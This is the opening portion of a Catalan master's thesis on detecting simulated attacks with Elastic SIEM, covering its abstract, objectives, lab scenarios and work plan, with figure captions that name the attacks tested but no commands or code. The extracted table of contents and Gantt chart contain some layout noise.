

# Security analytics with Elastic

#### Eduard Mateos Martinez

Màster Universitari en Seguretat de les Tecnologies de la Informació i de les Comunicacions Anàlisi de dades

Pau del Canto Rodrigo Helena Rifà Pous

02/06/2020



Aquesta obra està subjecta a una llicència de Reconeixement-NoComercial-SenseObraDerivada 3.0 Espanya de Creative Commons

#### FITXA DEL TREBALL FINAL

Títol del treball:	Security analytics with Elastic	
Nom de l'autor:	Eduard Mateos Martinez	
Nom del consultor/a: Pau del Canto Rodrigo		
Nom del PRA:	Helena Rifà Pous	
Data de lliurament (mm/aaaa):	06/2020	
Titulació o programa:	Màster Universitari en Seguretat de les Tecnologies de la Informació i de les Comunicacions	
Àrea del Treball Final:	Anàlisi de dades	
Idioma del treball:	Català	
Paraules clau	Elastic, SIEM, Machine Learning	

**Resum del Treball (màxim 250 paraules):** Amb la finalitat, context d'aplicació, metodologia, resultats i conclusions del treball

Els ciberatacs poden ser molt diversos i els diferents sistemes d'informació solen estar distribuïts. En moltes ocasions, aquests comportaments delictius es veuen reflectits als diferents *logs*. Per tant, és necessari tenir-los identificats, controlats i revisar-los de manera habitual. No obstant això, a causa de la quantitat de *logs* que es poden arribar a generar, aquesta tasca esdevé molt costosa. Obtenir *logs* de diferents orígens i processar-los conjuntament, ens permet veure fluxos i accions traçables que, revisades individualment, no són tan evidents. Realitzar aquest seguiment no és trivial i és necessari disposar d'alguna utilitat o eina per poder centralitzar aquesta informació i poder tractar-la.

Per tal de centralitzar tota aquesta informació, en aquest treball s'utilitzarà el Stack d'ElasticSearch. A més, disposa d'un seguit de productes per tractar, emmagatzemar i cercar informació. Recentment, s'ha publicat una nova funcionalitat que és l'ElasticSearch SIEM, que ens permet detectar diferents anomalies.

Per tal d'avaluar aquest producte, s'han planificat un seguit d'escenaris en format pilot que contenen les tecnologies més habituals que es poden utilitzar en una organització. Mitjançant la simulació de diferents atacs, generarem dades per alimentar l'ElasticSearch i utilitzar la funcionalitat del SIEM per tractar-los.

A causa de la popularització del Cloud Computing en l'àmbit empresarial, el segon escenari proposat es basarà en un cas d'ús real utilitzant els serveis d'Amazon Web Service d'un sistema productiu.

L'últim escenari es basarà en el funcionament del Machine Learning que ens ofereix la versió de pagament d'ElasticSearch per tractar els *logs* obtinguts anteriorment.

#### Abstract (in English, 250 words or less):

Cyberattacks can be very diverse and the information systems are often distributed. In many cases, these criminal behaviours are reflected in the different logs. Therefore, they often need to be identified, monitored and reviewed. However, due to the amount of logs that can be generated, this task becomes very difficult. Obtaining logs from different sources and processing them together allows us to see traceable flows and actions that, individually reviewed, are not so obvious. Carrying out this monitoring is not trivial and it is necessary to have some utility or tool to be able to centralize this information and be able to process it.

In order to centralize all this information, the ElasticSearch Stack will be used in this project. ElasticSearch has different products to store and search information. Recently, ElasticSearch SIEM has been published. It is a new feature that allows us to detect different anomalies.

I have planned some pilot scenarios to evaluate this product. They will contain the most common technologies that can be present in an organization. By simulating different attacks, we will generate data to add it in ElasticSearch and use the SIEM functionality to discover anomalies.

Due to the popularity of Cloud Computing in business, the second scenario proposed is based on a real case that uses the services of Amazon Web Service on a productive system.

The last scenario will be based on the Machine Learning features. It is the premium version of ElasticSearch and it will be used to process the logs obtained above.

## Índex

### Contenido

1. Introduce	Sió	1	
1.1. Context i justificació del Treball1			
1.2. Ob	jectius del Treball	2	
1.3. ENI	rocament i metode seguit	3 5	
1.4. Fla 1.5 Ris		5	
1.6. Est	tat d'art	10	
1.7. Bre	eu sumari de productes obtinguts	11	
1.8. Bre	eu descripció dels altres capítols de la memòria	12	
2. Coneix	ement bàsic	13	
2.1. Ana	àlisi de dades	13	
2.2. Ela	ISTIC STACK	15	
2.2.1.	Kibana	15	
2.2.3.	Logstash	16	
2.2.4.	APM	17	
2.2.5.	Beats	17	
2.3. Ela	stic Common Schema	18	
2.4. Pro	oductes	18	
2.5. Ela	stic Security	19	
2.5.1.	Elastic SIEM	19	
2.5.2.	Elastic Endpoint Security	20	
3. Planific	ació d'escenaris	21	
3.1. Eso	cenari 1: Entorn empresarial	21	
3.1.1.	Servel de directori	22	
5.1.2.	DNS	25	
3.1.3.	Recursos Compartits	23	
3.1.4.	Webs i bases de dades	24	
3.1.5.	IDS	24	
3.1.6.	Esquema	25	
3.2. Esc	cenari 2: Cloud Amazon Web Service	26	
3.2.1.	ElasticSearch	26	
3.2.2.	Plataforma Kubernetes	26	
3.2.3.	Accés per part dels usuaris	27	
3.2.4.	Obtenció de dades	28	
3.3. Eso 4. Desple	cenari 3: Machine Learning gament d'Elastic Stack	28 29	

4. 4.	.1. .2.	Rec Elas	queriments sticSearch	29 29
	4.2.1	L.		29
1	3	<u>.</u> Kih		30 31
4.	. <b>3.</b> 4.3.1	L.	Instal·lació	31
4.	.4. 4.4.1	Log L.	ıstash Instal·lació	31 31
4.	. <b>5.</b> 4.5.1	Bea L.	ats Instal·lació d'AuditBeat	32 32
	4.5.2	2.	Instal·lació del PacketBeat	32
	4.5.3	3.	Instal·lació del FileBeat	33
4. 5. 5.	.6. Anà .1. 5.1.1	API Ilisi ( Rut	M-Server de logs a per l'Elastic SIEM Pestanya Overview	33 33 33 34
	5.1.2	2.	Pestanya Hosts	34
	5.1.3	3.	Pestanya Network	35
	5.1.4	1.	Pestanya Detecions	36
	5.1.5	5.	Timelines	36
	5.1.6	5.	Regles de detecció	36
5.	. <b>2.</b> 5.2.1	Esc L.	enari 1: Entorn empresarial Desplegament d'Active Directory	37 37
	5.2.2	2.	Desplegament del servidor de fitxers	39
	5.2.3	3.	Desplegament del Suricata IDS	40
	5.2.4	1.	Desplegament d'entorns vulnerables	41
	5.2.5	5.	Detecció d'amenaces	43
	5.2.6	5.	Anàlisis d'atacs	46
	5.2.7	7.	Conclusions Escenari 1	57
5.	. <b>3.</b> 5.3.1	Esc I.	enari 2: <i>Cloud Amazon Web Service</i> Obtenció de les dades	57 57
	5.3.2	2.	Anàlisi de dades	59
	5.3.3	3.	Conclusions de l'escenari 2	62
5.	. <b>4.</b> 5.4.1	Esc	enari 3: Machine Learning Que és Machine Learning?	62 62
	5.4.2	2.	El mòdul de Machine Learning per Elastic SIEM	63
	5.4.3	3.	Detecció d'anomalies amb Machine Learning.	64
	5.4.4	1.	Conclusions de l'escenari 3	65
6.	Anà	lisi d	de Resultats	66

6.1. 6.2. 6.3. 6.4. 6.4.1	Conclusions generals Seguiment de la planificació inicial Problemes detectats durant el treball Compliment dels objectius marcats 1. Objectius del treball	66 67 67 68 68
6.4.2	2. Objectius d'implementació i coneixement	69
6.4.3	3. Valoració del treball	69
6.5. 7. Bibli 8. Ann 8.1. 8.1.1	Previsions de futur liografia nexos Annex 1: Instal·lació d'Elastic Stack 1. Instal·lació d'ElasticSearch	70 71 74 74 74
8.1.2	2. Instal·lació del Kibana	77
8.1.3	3. Instal·lació del Logstash	79
8.1.4	4. Beats	81
8.2. 8.2.1	Annex 2: Anàlisi de Logs 1. Vista d'Elastic SIEM	85 85
8.2.2	2. Escenari 1: Entorn empreserial	92
8.2.3	3. Escenari 2: Cloud Amazon Web Service	143
8.2.4	4. Escenari 4: Machine Learning	162

### Llista de figures

Captura 1: Estat del clúster	76
Captura 2: Usuaris del Sistema Elastic	77
Captura 3: Estat del Clúster SSL	77
Captura 4: Accés del Kibana	78
Captura 5: Validació del funcionament del Logstash	80
Captura 6: Validar la creació de la plantilla del Logstash	80
Captura 7: Dades de l'AuditBeat	81
Captura 8: Dades del PacketBeat	83
Captura 9: Dades del FileBeat	84
Captura 10: Home Kibana	85
Captura 11: Finestra Overview 1	85
Captura 12: Finestra Overview 2	86
Captura 13: Finestra Hosts 1	86
Captura 14: Finestra Hosts 2	86
Captura 15: Finestra Hosts 3	87
Captura 16: Finestra Hosts 4.	87
Captura 17: Finestra Hosts 5.	87
Captura 18: Finestra Network 1	88
Captura 19: Finestra Network 2	88
Captura 20: Finestra Network 3	89
Captura 21: Finestra Network 4	89
Captura 22: Finestra Network 5	89
Captura 23: Finestra Network 6	90
Cantura 24: Finestra Detections	90
Cantura 25: Finestra manage signal rules	90
Cantura 26: Prehuilt signal rules	91
Cantura 27: Exemple de signal rule	Q1
Captura 28: Query timeline	Q1
Captura 29: Timeline quardada	92
Captura 30: Execució del scrint	94
Captura 31: Contrasenva de recuperació de l'AD	9 <u>4</u>
Captura 37: AD funcionant	0 <del>7</del> 05
Captura 32: Creació de GPO Audit	95
Captura 34: Instal Jació del WinlogBeat	95
Captura 34: Instal·lacio del WilliogDeat	90
Captura 36: Instal Jació del nacan	90
Captura 30: Instal·lació del PackotBoat	90
Captura 37. Ilistal·lació del sparo	90
Captura 30: Cieació del Silare	97
Captura 39. Finestra de propietats avançados	90
Captura 40. Finestra d'auditing	90
Captura 41. Finestia u auditing	90
Captura 42: Esdeveniment eliminació	99
Capture 44: Test de ping i telnet	99
Captura 44. Test de piligi temeta a l'Elastia SIEM	
Captura 45. Aldinia dei Sunicatà à l'ElàStic Stelvi	
Capture 40. Creat mayumes metaspioliable 3	
Captura 47. Linux Metaspioliable: Metaspioliable AuditBeat	
Captura 46: Linux vietaspioitable: ivietaspioitable PacketBeat	02
Captura 49: Afegir al domini1	03

Captura 50: Windows Metasploitable: Esdeveniments de WinlogBeat	103
Captura 51: Windows Metasploitable: Esdeveniment d'AuditBeat	104
Captura 52: Windows Metasploitable: Esdeveniments de PacketBeat	104
Captura 53: Web Security Dojo: Esdeveniment d'AuditBeat	105
Captura 54: Web Security Dojo: Esdeveniment de PacketBeat	105
Captura 55: Web Security Dojo: APM-Agent	106
Captura 56: Regla whoami	106
Captura 57: Detecció del signal whoami	106
Captura 58: Regla volume shadow copy	107
Captura 59: Creació i eliminació amb vssadmin	107
Captura 60: Detecció de signal volume shadow copy	108
Captura 61: Regla nmap	108
Captura 62: Execució de nmap	108
Captura 63: Detecció del signal nmap	109
Captura 64: Reverse shell nc	109
Captura 65: Consulta d'utilització de nc	109
Captura 66: Creació de regla 1	110
Captura 67: Creació de regla 2	110
Captura 68: Creació de regla 3	110
Captura 69: Signal d'utilització nc	111
Captura 70: Port scan	111
Captura 71: Alerta de port scan	112
Captura 72: Consulta de port scan	112
Captura 73: Creació de regla port scan 1	113
Captura 74: Creació de regla port scan 2	113
Captura 75: Creació de regla port scan 3	114
Captura 76: Signal de port scan	114
Captura 77: Realització del nmap	115
Captura 78: Elastic SIEM detecció d'alarmes	115
Captura 79: Elastic SIEM detecció signal	116
Captura 80: Elastic SIEM detall d'alarma	116
Captura 81: Elastic SIEM: Detecció de paquets de PacketBeat	116
Captura 82: Elastic SIEM: timeline nmap	117
Captura 83: Importar informació de la Metasploit framework console	117
Captura 84: Llistar serveis del Metasploit framework	118
Captura 85: Exploit unreal_ircd_3281_backdoor	118
Captura 86: No alarma de l'unreal_ircd_3281_backdoor	119
Captura 87: Processos no comuns de l'unreal_ircd_3281_backdoor 1	119
Captura 88: Processos no comuns de l'unreal_ircd_3281_backdoor 2	119
Captura 89: Timeline del port 2345 unreal_ircd_3281_backdoor 1	120
Captura 90: Timeline del port 2345 unreal_ircd_3281_backdoor 2	120
Captura 91: Timeline del procés ruby unreal_ircd_3281_backdoor	120
Captura 92: Regla de detecció unreal_ircd_3281_backdoor	121
Captura 93: Signal d'unreal_ircd_3281_backdoor	121
Captura 94: Web servidor	122
Captura 95: Pàgina login del payroll_app.php	122
Captura 96: Prova d'SQL Injection	122
Captura 97: Accés a l'aplicació sense contrasenya ni usuari	123
Captura 98: Consulta de relació de taules i columnes	123
Captura 99: Resultat de la relació de taules i columnes	123

Captura 100:	Relació usuari i contrasenya	124
Captura 101:	Accés mitjançant ssh amb l'usuari leia_organa	125
Captura 102:	Elevació de privilegis de leia_organa	125
Captura 103:	Finestra Overview	126
Captura 104:	Autenticacions del host	126
Captura 105:	Processos no comuns	126
Captura 106:	Informació de Network	127
Captura 107:	Detall source IP	127
Captura 108:	Timeline de l'URL query	127
Captura 109:	Detall del timeline source IP	128
Captura 110:	Timeline del host franja horària	128
Captura 111:	Timeline d'accions 1	128
Captura 112:	Timeline d'accions 2	129
Captura 113:	Timeline d'accions 3	129
Captura 114:	Creació de la regla SQL-Injection	129
Captura 115:	Detecció del signal SQL-Injection	130
Captura 116:	Nmap de Windows	130
Captura 117:	Nmap de Windows 2	131
Captura 118:	Obtenció de la contrasenya per força bruta	131
Captura 119:	Exploit psexec	132
Captura 120:	Accés al meterpreter	132
Captura 121:	Hashdump	133
Captura 122:	Neteja del visor d'esdeveniments	133
Captura 123:	Alerta de network trojan	134
Captura 124:	Signatura del Suricata	134
Captura 125:	Intents fallits d'accés amb un usuari	135
Captura 126:	Processos no comuns	135
Captura 127:	Detall dels processos	136
Captura 128:	Connexions amb SSH al servidor	136
Captura 129:	Connexions des del servidor	137
Captura 130:	Origen de l'atac servei SMB	137
Captura 131:	Neteja del visor d'esdeveniments	138
Captura 132:	Regla de network trojan del Suricata	138
Captura 133:	Regla hashdump	138
Captura 134:	Signal hashdump i network trojan	139
Captura 135:	SQL-Injection	139
Captura 136:	Login SQL-Injection	139
Captura 137:	Alertes del Suricata	140
Captura 138:	HTTP Requests	140
Captura 139:	Registre APM 1	141
Captura 140:	Registre APM 2	141
Captura 141:	Registre APM 3	142
Captura 142:	No filtratge per camp	142
Captura 143:	Atac XSS	143
Captura 144:	Informació APM	143
Captura 145:	Incorporació dels logs d'aplicació a l'Elasticsearch	148
Captura 146:	Esdeveniment CloudTrail I	152
Captura 147:	Esdeveniment Cloudtrail II	153
Captura 148:	GET consulta estranya	153
Captura 149:	Detall de la consulta	154

Captura	150:	Filtre per IP	154
Captura	151:	Consultes amb estat diferent a 404	155
Captura	152:	Index Pattern I	155
Captura	153:	Index Pattern II	156
Captura	154:	Configuració de la capa I	156
Captura	155:	Configuració de la capa II	157
Captura	156:	Configuració de la capa III	157
Captura	157:	Accés des de Rússia	158
Captura	158:	Detall d'accés des de Rússia	158
Captura	159:	Intents accés *wp-config*	159
Captura	160:	Signal wp-config	159
Captura	161:	Signal consulta estranya	160
Captura	162:	Detall d'esdeveniment d'instància I	160
Captura	163:	Detall d'esdeveniment d'instància II	161
Captura	164:	Detall d'esdeveniment d'instància III	161
Captura	165:	Detall d'acció d'usuari I	162
Captura	166:	Detall d'acció d'usuari II	162
Captura	167:	Finestra management	163
Captura	168:	License management	163
Captura	169:	Llicència activa	163
Captura	170:	Finestra d'Index Patterns	163
Captura	171:	Creació d'Index Pattern I	164
Captura	172:	Creació d'Index Pattern II	164
Captura	173:	Models pre-creats	164
Captura	174:	Model rare_process_by_host_linux_ecs 1	165
Captura	175:	Model rare_process_by_host_linux_ecs II	165
Captura	176:	Max anomaly detection	165
Captura	177:	windows_anomalous_user_name_ecs	166
Captura	178:	No detecta anomalies	166

### Llistat de configuracions

Configuració	1: Configuració del Logstash	143
Configuració	2: Configuració del FileBeat AWS	144
Configuració	3: CloudTrail Logstash	148
Configuració	4: FileBeat JSON	149

### Llistat de Scripts

Script 1: Instal·lació d'ElasticSearch	74
Script 2: Creació dels certificats SSL ElasticSearch	75
Script 3: Configuració del SSL ElasticSearch	76
Script 4: Instal·lació i configuració del Kibana	77
Script 5: Instal·lació del Logstash	79
Script 6: Instal·lació de l'AuditBeat	81
Script 7: Instal·lació del PacketBeat	81
Script 8: Configuració de GeoIP del PacketBeat	82
Script 9: Instal·lació del FileBeat	83
Script 10: Instal lació de l'APM-Server	84

Script 11: Instal·lació d'Active Directory	
Script 12: Instal lació del WinlogBeat	
Script 13: Instal·lació de l'AuditBeat de Windows	
Script 14: Instal·lació del PacketBeat de Windows	
Script 15: Creació del share SMB	
Script 16: Instal·lació del suricata	
Script 17: Instal lació i configuració del FileBeat d'Ubuntu	100
Script 18: Instal·lació de l'AuditBeat i el PacketBeat d'Ubuntu	101
Script 19: Instal lació APM-Agent NodeJS	

# 1. Introducció

## 1.1. Context i justificació del Treball

Amb la popularització de l'ús d'internet i el seu fàcil accés, s'ha convertit en una eina quasi imprescindible per la societat on vivim. Gràcies a internet, és possible realitzar gestions de forma telemàtica amb l'administració, realitzar compres, tant de productes com de serveis, sense que sigui necessari sortir de casa. A més, també és una font gairebé infinita d'informació.

A conseqüència d'aquesta popularització, internet ofereix a les empreses un canal molt gran per tal d'oferir els seus serveis. D'aquesta manera, permet poder arribar a un nombre immens de possibles clients. Per això, en l'actualitat, un gran nombre d'empreses tenen presència a internet oferint els seus productes i serveis. A més, una gran part dels seus beneficis s'obtenen mitjançant aquest canal.

Tenint en compte l'ús que es realitza d'internet, el volum de negoci que s'hi mou i la importància que ha adquirit en els darrers anys, fa que aquest canal esdevinguin un botí molt valuós pels possibles criminals. Inicialment, aquest tipus de ciberatacs eren realitzats per persones amb un nivell de coneixement tècnic alt. Actualment, però, gràcies a la quantitat d'informació que es pot obtenir a través de la xarxa, fa que persones amb un cert nivell d'informàtica els puguin dur a terme. Per tant, cada cop és més probable que una empresa rebi algun ciberatac.

Per aquest motiu, és necessari que les entitats protegeixin la seva plataforma, així com les dades emmagatzemades. Per això, en els últims anys la ciberseguretat està adquirint una importància vital. No obstant això, encara hi ha empreses que pensen amb la ciberseguretat com una despesa i no com una inversió.

La mateixa idea vista en els paràgrafs anteriors, es pot aplicar en el funcionament intern d'una empresa. A part d'utilitzar internet de manera habitual pel dia a dia, dins de la mateixa empresa es formen xarxes per tal d'oferir als diferents treballadors els recursos necessaris perquè puguin treballar. És comú que a la majoria de feines, a les diferents àrees, utilitzin diferents sistemes d'informació com serien mòbils, ordinadors, portàtils, així com diferents serveis com podrien ser el correu electrònic, webs, servidors de fitxers, base de dades... Aquestes xarxes locals poden ser només utilitzades per una sola seu, però també poden estendre's a diferents edificis separats geogràficament i generar una Intranet.

Com més gran sigui una empresa, més probable és que hi hagi algun treballador descontent que pugui arribar a malmetre informació de manera intencionada o inclús vendre-la a la competència, posant a l'empresa en una situació crítica. Per tant, el concepte de criminal també es pot adaptar a aquestes persones. Com hem vist, els atacs informàtics poden provenir tant de persones externes com de personal intern de la mateixa organització. Els objectius poden ser: l'accés a una base de dades, fer-se passar per un usuari per tal d'obtenir accés o, fins i tot, realitzar un atac que deixi inoperativa part de la plataforma, generant pèrdues econòmiques i d'imatge empresarial, fent que els possibles clients perdin la confiança en l'organització.

Els atacs poden ser molt diversos i els diferents sistemes d'informació solen estar distribuïts. En moltes ocasions, aquests comportaments delictius es veuen reflectits als diferents *logs*. Per tant, és necessari tenir-los identificats, controlats i revisar-los de manera habitual. No obstant això, a causa de la quantitat de *logs* que es poden arribar a generar, aquesta tasca esdevé molt costosa. Obtenir *logs* de diferents orígens i processar-los conjuntament, ens permet veure fluxos i accions traçables que, revisades individualment, no són tan evidents. Realitzar aquest seguiment no és trivial i és necessari disposar d'alguna utilitat o eina per poder centralitzar aquesta informació i poder tractar-la.

Una de les possibles eines que es poden utilitzar per a centralitzar els *logs* i tractar-los és el Stack d'ElasticSearch, el que tractarem en aquest treball. A més, disposa d'un seguit de productes per tractar, emmagatzemar i cercar informació. Recentment, s'ha publicat una nova funcionalitat que és l'Elastic SIEM, que ens permet detectar diferents anomalies.

## 1.2. Objectius del Treball

El principal objectiu que es persegueix amb aquest treball és adquirir coneixement i descobrir les noves funcionalitats que ens ofereix Elastic SIEM en la detecció d'anomalies.

Els objectius marcats són:

- ✓ Utilitzar els productes que ens ofereix Elastic Stack: ElasticSearch, Kibana, Logstash i Beats per a l'obtenció d'esdeveniments de seguretat.
- Provar la nova aplicació d'Elastic SIEM, inclòs dins d'Elastic Sercurity, per l'anàlisi d'esdeveniments de seguretat.
- ✓ Creació de diferents casos d'ús per tal d'aplicar el producte Elastic Security en un entorn empresarial.
- ✓ Aplicar el producte Elastic Security en un entorn al *cloud* amb informació real.
- ✓ Aplicar el mòdul Machine Learning a l'entorn empresarial per tal de detectar anomalies.

Tot i que aquest treball tindrà una part conceptual, per tal d'adquirir coneixements sobre el seu funcionament, el pes important se l'emportarà la part pràctica, que ens permetrà veure les diferents funcionalitats que ens pot oferir ElasticSearch.

A continuació, es mostren de manera més esquemàtica els objectius marcats:

#### Obtenció dels coneixements necessaris

- > Funcionament de l'ElasticSearch i els seus components.
- > Coneixements de l'Elastic Common Schema.
- > Funcionament de la funció de SIEM d'ElasticSerach.
- Correlació d'esdeveniments.
- > Detecció d'anomalies amb l'Elastic.
- Aplicació del Machine Learning.

#### **Desplegament Stack Elastic**

> Instal·lació i configuració d'Elastic Stack.

#### <u>Casos d'ús</u>

#### Escenari 1: Entorn Empresarial

- Desplegament de la plataforma del lloc de treball (Active Directory, DNS, servidor de fitxers, base de dades, servidor web, IDS, etc.).
- > Configuració les regles de detecció de l'ElasticSearch.
- Simulació de diferents tipus d'atacs per detectar-ho amb les regles d'ElasticSearch.

#### Escenari 2: Cloud Amazon Web Services (AWS)

- Ingestió i anàlisi de logs des d'una plataforma cloud (AWS).
- > Configuració de les regles de detecció de l'ElasticSearch.

Escenari 3: Prova del mòdul de Machine Learning.

- > Activació de la versió de proves d'ElasticSearch.
- Configuració de Machine Learning.
- Test de funcionament del mòdul de Machine Learning.

A part dels objectius comentats anteriorment, també hem d'identificar quins seran els objectius de l'entrega:

#### Objectius d'entrega

- > Planificació dels temps del treball, així com les entregues parcials.
- Elaboració de la memòria.
- > Elaboració de la presentació del treball i també del vídeo.

### 1.3. Enfocament i mètode seguit

El centre de tot el treball es troba en la funcionalitat de SIEM del Stack d'Elastic.

Per tant, s'utilitzaran els següents components:



Per tal de poder dur a terme els diferents escenaris, serà necessari desplegar un seguit d'infraestructures virtuals. S'utilitzarà el sistema de virtualització de vMWare Workstation per tal de desplegar-les.



Per tal de donar resposta a aquest treball, la metodologia que seguiré serà la següent:

#### Planificació temporal del treball

Un dels primers factors que té impacte en l'elaboració del treball serà el temps. Per tal d'assegurar que es compleixen les dates, serà necessari definir una planificació en funció del temps on es marcaran quines són les diferents fites a completar, tant a escala personal com pel que fa als lliuraments marcats per la UOC.

Per tal de plasmar aquesta informació, utilitzaré un diagrama de *Gantt*, a on es veuran les tasques a realitzar amb les seves dates d'execució.

#### Obtenció dels coneixements bàsics

Com hem comentat, aquest producte és molt recent. Per tant, serà necessari adquirir inicialment un seguit de coneixements bàsics que ens permetran assentar les bases del funcionament d'aquest.

Per tal d'adquirir aquest coneixement, ens centrarem en la documentació que ens ofereix el proveïdor i que podem trobar a la seva <u>pàgina web</u>. Per tal de tenir una visió més practica del funcionament, a la mateixa web es poden localitzar un seguit de cursos o "*webinars*" destinats a tasques específiques dins del SIEM que ens ajudaran també a aconseguir la base del coneixement necessari per a dur a terme aquest treball.

#### Utilització de configuracions estàndards

Un dels objectius principals d'aquest treball és identificar i utilitzar les diferents funcionalitats que ens ofereix aquest producte. Per tant, intentarem realitzar les configuracions essencials utilitzant els productes propis. Evitant, sempre que sigui possible, la utilització d'eines de tercers o desenvolupades a mida.

## 1.4. Planificació del treball

He elaborat un pla de treball basat en les diferents entregues del TFM. Tot i que la planificació està realitzada diàriament, la intenció és realitzar un seguiment setmanal. És necessari ja que, per obligacions externes a la UOC, la disponibilitat diària pot variar.

Tasca	Duració	Inici	Fi	Predecessor
Pla de treball	10 dies	19/02/20	03/03/20	
Fita 1: finalització entrega 1	0 dies	02/03/20	02/03/20	
Entrega 2	20 dies	04/03/20	31/03/20	1
Adquirir coneixements d'Elastic SIEM	5 dies	04/03/20	10/03/20	
Webinar: Introducción a Elastic SIEM: protege tu organización con el Stack Elastic	1 dia	04/03/20	04/03/20	
Detecting threats on Linux hosts with Auditbeat	1 dia	05/03/20	05/03/20	5
Detecting threats by analyzing Windows Event Logs with the Elastic (ELK) Stack	1 dia	06/03/20	06/03/20	6
Integrating custom logs with ECS for Elastic SIEM	1 dia	09/03/20	09/03/20	7
Hunting for persistence using Elastic Security	1 dia	10/03/20	10/03/20	8
Planificació dels escenaris	8 dies	11/03/20	20/03/20	4
Escenari 1: Lloc de Treball	3 dies	11/03/20	13/03/20	
Cerca d'informació dels diferents components a desplegar	1 dia	11/03/20	11/03/20	
Disseny de la infraestructura a desplegar	1 dia	12/03/20	12/03/20	12
Elaboració de l'esquema de la infraestructura dissenyada	1 dia	13/03/20	13/03/20	13
Escenari 2: Cloud	3 dies	16/03/20	18/03/20	11
Disseny de la infraestructura a desplegar	1 dia	16/03/20	16/03/20	
Elaboració de l'esquema de la infraestructura dissenyada	1 dia	17/03/20	17/03/20	16
Cerca d'informació de com analitzar els <i>logs</i> al <i>cloud</i>	1 dia	18/03/20	18/03/20	17
Escenari 3: Machine Learning	2 dies	19/03/20	20/03/20	15
Cercar informació del seu funcionament	2 dies	19/03/20	20/03/20	
Desplegament d'ElasticSearch	4 dies	23/03/20	26/03/20	10

#### Planificació de tasques

Revisió dels requeriments	1 dia	23/03/20	23/03/20	
d'ElasticSearch				
Instal·lació d'ElasticSearch	1 dia	24/03/20	24/03/20	22
Configuració d'ElasticSearch	0,5 dies	25/03/20	25/03/20	23
Securització d'ElasticSearch	0,5 dies	25/03/20	25/03/20	24
Instal·lació de Kibana	0,5 dies	26/03/20	26/03/20	25
Instal·lació de Logstash	0,5 dies	26/03/20	26/03/20	26
Preparació de l'entrega	2 dies	27/03/20	30/03/20	21
Finalitzar la documentació	1 dia	27/03/20	27/03/20	
Correcció	1 dia	30/03/20	30/03/20	29
Fita 2: finalització entrega 2	0 dies	30/03/20	30/03/20	
Entrega 3	20 dies	01/04/20	28/04/20	3
Escenari 1	7 dies	01/04/20	09/04/20	
Anàlisi de <i>logs</i>	10 dies	10/04/20	23/04/20	33
Generació de dades (simulació	3 dies	10/04/20	14/04/20	
d'atacs)				
Proves de les regles estàndards	3 dies	15/04/20	17/04/20	48
definides				
Creació de noves regles	4 dies	20/04/20	23/04/20	49
Preparació de l'entrega	3 dies	24/04/20	28/04/20	47
Finalitzar documentació	2 dies	24/04/20	27/04/20	
Correcció	1 dia	28/04/20	28/04/20	52
Fita 3: finalització Entrega 3	0 dies	28/04/20	28/04/20	
Entrega 4 - Memòria final	25 dies	29/04/20	02/06/20	32
Escenari 2	13 dies	29/04/20	15/05/20	
Obtenció de dades d'AWS	3 dies	29/04/20	01/05/20	
Anàlisis d'informació	5 dies	04/05/20	08/05/20	57
Ajust de regles del SIEM	5 dies	11/05/20	15/05/20	58
Escenari 3	7 dies	18/05/20	26/05/20	56
Configuració de regles de Machine	4 dies	18/05/20	21/05/20	
Learning				
Estudi de funcionament i	3 dies	22/05/20	26/05/20	61
comportament				
Preparació de l'entrega	4 dies	27/05/20	01/06/20	60
Finalitzar documentació	2 dies	27/05/20	28/05/20	
Correcció	2 dies	29/05/20	01/06/20	64
Fita 4: finalització de la memòria	0 dies	01/06/20	01/06/20	
Entrega 5 - Presentació del vídeo	5 dies	03/06/20	09/06/20	55
Creació de diapositives	1 dia	03/06/20	03/06/20	
Creació del vídeo	3 dies	04/06/20	08/06/20	68
Fi TFM	0 dies	08/06/20	08/06/20	

#### Diagrama de Gannt

ki		Modo de	Nombre de tarea	Duración	Comienzo	
	0	larea				marzo abri mayo 17/02 2402 02/03 09/03 16/03 23/03 30/03 06/04 13/04 20/04 27/04 04/05 11/05 18/05 25/05
1		*	Pia de Treball	10 dias	mié 19/02/20	
2		*	Finalització entrega 1	0 dias	lun 02/03/20	• 02/03
3		*	Entrega 2	20 dias	<b>mié 01/03/</b> 20	
4		-	Adquirir coneixements d'Elastic SIEM	5 dias	nié 04/03/20	
5	7	*	Webinar: Introducción a Elastic SIEM: protege tu organización con el Stack Elastic	1 día	mié 04/08/20	<b>1</b>
6	1	۶.	Detecting threats on Linux hosts with Auditbeat	1 día	jue 05/03/20	i i i i i i i i i i i i i i i i i i i
7	2	*	Detecting threats by analyzing Windows Event Logs with the Elastic (ELK) Stac	tl día	vie 06/08/20	
8		*	Integrating custom logs with ECS for Elastic SIEM	ldía	kun 09/03/20	
9		٠	Hunting for persistence using Elastic Security	ldía	mar 10/03/20	
10		-	Planificació dels escenaris	B clines	nié 11/03/20	
11		-	Escenari 1: Lloc de Trebali	3 dias	mié 11/03/20	
12		-	Cerca d'informació dels difernets components a desplegar	1 día	mié 11/0B/20	l III
13		-	Disseny de la infraestructura a desplegar	1 día	jue 12/03/20	
14		-	Elaboració de l'esquema de la infraestructura dissenyada	1 día	vie 13/08/20	
15		-	Escenari 2: Cloud	3 dias	lun 16/03/20	
16		-	Disseny de la infraestructura a desplegar	ldía	kun 16/03/20	
17		-	Elaboració de l'esquema de la infraestructura dissenyada	1 día	mar 17/03/20	
18		-	Cerca d'informació de com analitzar els logs al cloud	1 día	mié 18/03/20	
19		-	Esecencari 3: Machine Learning	2 dias	jue 19/03/20	
20		-	Cercar informació del seu funcionament	2 días	jue 19/03/20	
21		-	Desplegament d'ElasticSearch	4 dias	kun 23/03/20	t <b>t</b> t
22		-	Revisió dels requeriments d'ElasticSearch	1 día	kun 23/03/20	
23		-	Instal-lació d'ElasticSearch	ldía	mar 24/03/20	
24		-	Configuració d'ElasticSearch	0.5 dias	mié 25/08/20	
25		-	Securització d'ElasticSearch	0.5 dias	mié 25/08/20	
26		-	Insal·lació de Kibana	0.5 días	iue 26/03/20	
27		-	instal-lació de Lorstash	0.5 dias	iue 26/03/20	
28		-	Prenaració de l'entrena	7 diam	nie 27/03/20	
29			Finalitzar la documentació	1 dia	vie 77/08/20	
30		-	Correcció	ldía	hin 30/03/20	
31			Finalització entrena 7	l dias	kup 30/03/20	30/03
32		- 	Filmera 3.	20 dias	mié m /h4/20	
33		-	Escenari 1	7 dias	mié 01/04/20	
47		-	Amiliais de Lors	10 dias	nie 10/04/20	
48		-	Generació de dades Nimulació d'atacs)	l dias	vie 10/04/20	
49			Brower de les meles estàndaris definides	र लॉक	mié 15 /04 /20	
50			Creació de noves reales	t dias	hin 20/04/20	
